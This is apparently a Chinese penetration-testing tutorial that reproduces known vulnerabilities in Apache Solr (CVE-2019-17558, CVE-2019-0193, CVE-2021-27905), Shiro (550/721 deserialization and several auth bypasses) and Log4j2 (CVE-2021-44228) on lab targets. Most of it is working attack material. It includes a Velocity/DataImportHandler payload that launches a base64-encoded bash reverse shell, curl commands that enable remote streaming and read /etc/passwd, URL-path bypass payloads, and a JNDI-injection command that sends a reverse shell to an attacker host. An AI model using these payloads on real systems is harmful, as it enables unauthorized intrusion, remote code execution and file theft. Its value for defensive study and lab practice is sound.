Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

solr 远程命令执行 (CVE-2019-17558)

漏洞简介

Apache Velocity是一个基于Java的模板引擎，它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目，旨在确保Web应用程序在表示层和业务逻辑层之间的隔离（即MVC设计模式）。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能，利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

影响范围

Apache Solr 5.0.0版本至8.3.1版本

默认端口

8983

漏洞复现

POC下载solr_rce

 python2 .\solr_rce.py 目标IP 命令

solr 远程命令执行漏洞(CVE-2019-0193)

影响范围

Apache Solr < 8.2.0版本

利用条件

条件1：Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)

条件2：Solr Admin UI未开启鉴权认证。（默认情况无需任何认证）

漏洞复现

使用得vulhub得靶场，需要提前创建一个core才能进行复现

使用vulhub创建名为test得core

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

Solr Admin UI未开启鉴权认证就是可以直接访问如下界面，默认得配置就可以直接访问

选择已有核心后选择Dataimport功能并选择debug模式，更改填入以下POC，点击Execute with this Confuguration

POC:

<dataConfig>

  <dataSource type="URLDataSource"/>

  <script><![CDATA[

          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,反弹shellbase64加密}|{base64,-d}|{bash,-i}");

          }

  ]]></script>

  <document>

    <entity name="stackoverflow"

            url="https://stackoverflow.com/feeds/tag/solr"

            processor="XPathEntityProcessor"

            forEach="/feed"

            transformer="script:poc" />

  </document>

</dataConfig>

Solr 文件读取&SSRF (CVE-2021-27905)

漏洞简介

该漏洞是由于没有对输入的内容进行校验，攻击者可利用该漏洞在未授权的情况下，构造恶意数据执行SSRF攻击，最终造成任意读取服务器上的文件。

影响范围

Apache Solr <= 8.8.1

漏洞复现

这里启动环境访问之后创建core会报错

需要进入容器复制配置文件到core文件夹

进入容器

docker exec -it 容器id /bin/bash

复制配置文件

cp -r server/solr/configsets/_default/conf /var/solr/data/new_core

完成后再次创建即可成功创建

直接访问该路径查看core

/solr/admin/cores?indexInfo=false&wt=json

使用curl命令访问触发

curl -i -s -k -X $'POST'

-H $'Content-Type: application/json' --data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'

$'http://目标地址/solr/core名称/config'

curl

-i 查看header头信息

-s 不输出统计信息

-k 使用能忽略证书不受信问题

-X 指定POST请求

-H 添加http请求的标头

-d 用于发送post请求的数据体

直接文件读取

curl -i -s -k 'http://目标主机/solr/core名称/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

Shiro-550反序列化漏洞（CVE-2016-4437）

影响范围

Apache Shiro<=1.2.4

组件特征

在登录框处存在记住我选项，在数据包或返回数据包中存在rememberMe字段

漏洞原理

shiro550：加密过程，将用户身份进行序列化处理，然后进行AES加密，最后使用base64编码，解密过程将用户身份进行base64解码，再使用AES解密，然后将数据进行反序列化处理，在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的，默认使用默认的key，key并不会变化，我们可以对key进行碰撞枚举，从而伪造序列化数据。

漏洞复现

利用工具

shiro_attack

Shiro-721反序列化漏洞（CVE-2019-12422）

漏洞原理

加密过程中使用了AES-128进行加密，并且加密的所使用的key是随机生成的，只有当我们获得了一个有效的身份认证后才可以进行下一阶段，因此shiro721必须得到一个可以有效的cookie，通过padding oracle填充算法攻击，通过填充信息不同响应时间来逐步判断出加密密钥，从而伪造序列化数据。

Padding Oracle Attack原理

Padding Oracle攻击可以在没有密钥的情况下加密或解密密文

Shiro Padding Oracle Attack（Shiro填充Oracle攻击）是一种针对Apache Shiro身份验证框架的安全漏洞攻击。Apache Shiro是Java应用程序中广泛使用的身份验证和授权框架，用于管理用户会话、权限验证等功能。

Padding Oracle Attack（填充Oracle攻击）是一种针对加密算法使用填充的安全漏洞攻击。在加密通信中，填充用于将明文数据扩展到加密算法块大小的倍数。在此攻击中，攻击者利用填充的响应信息来推断出加密算法中的秘密信息。

Shiro Padding Oracle Attack利用了Shiro框架中的身份验证过程中的一个漏洞，该漏洞允许攻击者通过填充信息的不同响应时间来确定身份验证过程中的错误。通过不断尝试不同的填充方式，攻击者可以逐步推断出加密秘钥，并最终获取访问权限。

这种攻击利用了填充错误的身份验证响应来获取关于秘密信息的信息泄漏，然后根据这些信息进行进一步的攻击。为了防止Shiro Padding Oracle Attack，建议及时更新Apache Shiro版本，确保已修复该漏洞，并采取其他安全措施，如使用安全的加密算法和密钥管理策略。

漏洞复现

利用工具同上shiro_attack

Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)

影响范围

Apache Shiro < 1.7.1

漏洞利用

Poc：/admin/%20

Apache Shiro 认证绕过漏洞 (CVE-2020-1957)

影响范围

Apache Shiro < 1.5.3

漏洞利用

Poc：/xxx/..;/admin/

Apache Shiro 授权绕过漏洞（CVE-2022-32532）

影响范围

Apache Shiro < 1.9.1

漏洞利用

Poc： /permit/any

/permit/a%0any可绕过

Log4j2远程命令执行（CVE-2021-44228）

影响范围

Apache Log4j2 2.0 - 2.15.0-rc1

漏洞复现

生成反弹Shell的JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64加密反弹shell}|{base64,-d}|{bash,-i}" -A 攻击机地址

工具地址JNDI-Injection-Exploit

构造JNDI注入Payload提交

${jndi:rmi://伪造class文件}

攻击流量特征

使用${等关键符号
使用了jdni接口
使用rmi、ldap、协议等